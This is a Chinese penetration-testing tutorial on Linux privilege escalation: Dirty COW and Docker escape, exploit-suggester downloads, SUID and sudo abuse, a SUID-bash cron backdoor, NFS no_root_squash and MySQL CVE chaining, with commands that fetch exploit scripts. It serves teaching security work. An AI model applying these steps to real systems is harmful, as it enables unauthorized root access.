Linux提权的几种常用方式

Stella981
• 阅读 1176

在渗透测试过程中,提升权限是非常关键的一步,攻击者往往可以通过利用内核漏洞/权限配置不当/root权限运行的服务等方式寻找突破点,来达到提升权限的目的。


1、内核漏洞提权

提起内核漏洞提权就不得不提到脏牛漏洞(Dirty Cow),是存在时间最长且影响范围最广的漏洞之一。低权限用户可以利用该漏洞实现本地提权,同时可以通过该漏洞实现Docker容器逃逸,获得root权限的shell。

1.1 本地内核提权

(1)检测内核版本

# 查看系统发行版本

Linux提权的几种常用方式

(2) 下载,编译生成exp文件

bypass@ubuntu:~$ make

Linux提权的几种常用方式

(3)执行成功,返回一个root权限的shell。

Linux提权的几种常用方式

1.2 利用DirtyCow漏洞实现Docker逃逸

(1)进入容器,编译POC并执行:

Linux提权的几种常用方式

(2)在攻击者机器上,成功接收到宿主机反弹的shell。

Linux提权的几种常用方式

1.3 Linux提权辅助工具

github项目地址:

https://github.com/mzet-/linux-exploit-suggester.git

(1)根据操作系统版本号自动查找相应提权脚本

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

Linux提权的几种常用方式

(2)根据提示下载poc,编译执行。

Linux提权的几种常用方式

2、利用SUID提权

SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限。

(1)在Linux中查找可以用来提权的SUID文件

find / -perm -u=s -type f 2>/dev/null

Linux提权的几种常用方式

(2)通过find以root权限执行命令

Linux提权的几种常用方式

可用作Linux提权的命令及其姿势:

#Find

3、SUDO提权

普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理方便,sudoer配置文件错误导致提权。

(1)设置sudo免密码

$vi /etc/sudoers

(2)查看sudo的权限

Linux提权的几种常用方式

4、计划任务

如果可以找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置不当。

(1)查看计划任务,找到有修改权限的计划任务脚本。

ls -l /etc/cron*

Linux提权的几种常用方式

(2)在mysqlback.sh 添加 SUID shell后门,当定时任务以root再次执行的时候,可以获取root权限。

cp /bin/bash /tmp/shell

Linux提权的几种常用方式

5、NFS提权

当服务器中存在NFS共享,开启no_root_squash选项时,如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

(1)查看NFS服务器上的共享目录

sudo showmount -e 10.1.1.233

Linux提权的几种常用方式

(2)创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。

sudo mkdir -p /tmp/data

Linux提权的几种常用方式

(3)回到要提权的服务器上,使用普通用户使用-p参数来获取root权限。

Linux提权的几种常用方式

6、MySQL提权

MySQL提权方式有UDF提权,MOF提权,写入启动项提权等方式,但比较有意思的是CVE-2016-6663、CVE-2016-6664组合利用的提取场景,可以将一个www-data权限提升到root权限。

(1)利用CVE-2016-6663将www-data权限提升为mysql权限:

cd /var/www/html/

(2)利用CVE-2016-6664将Mysql权限提升为root权限:

wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh

本文分享自微信公众号 - Bypass(Bypass--)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

点赞
收藏
评论区
推荐文章
blmius blmius
3年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
待兔 待兔
4个月前
手写Java HashMap源码
HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22
Jacquelyn38 Jacquelyn38
3年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
Stella981 Stella981
3年前
Linux sudo权限提升漏洞复现(CVE
2021年01月27日,RedHat官方发布了sudo缓冲区/栈溢出漏洞的风险通告,普通用户可以通过利用此漏洞,而无需进行身份验证,成功获取root权限。据报道这个漏洞已存在十年了,大部分的linux系统都存在这个sudo漏洞。站在攻击方的角度,这就是sudo提权的新姿势;站在防守方的角度,这可能是近期最需要去重视的漏洞了。漏洞编
Stella981 Stella981
3年前
Linux常见提权
常见的linux提权内核漏洞提权查看发行版cat/etc/issuecat/etc/release查看内核版本unamea查看已经安装的程序dpkglrpmqa通过一些现有的exp,上传到目标主机,执行exp,直接获取root权
Stella981 Stella981
3年前
CTF中对web服务器各种提权姿势
    在我们拿下服务器web服务往往只是低权限用户,对于内网渗透,我们往往需要root权限,Linux系统提权包括使用溢出漏洞已及利用系统配置文件。提权前提:1.拿到低权限shell2.被入侵机器上有nc,python,perl等常见linux下的工具3.有权上传下载文件1. 利用内
Wesley13 Wesley13
3年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Wesley13 Wesley13
3年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
10个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这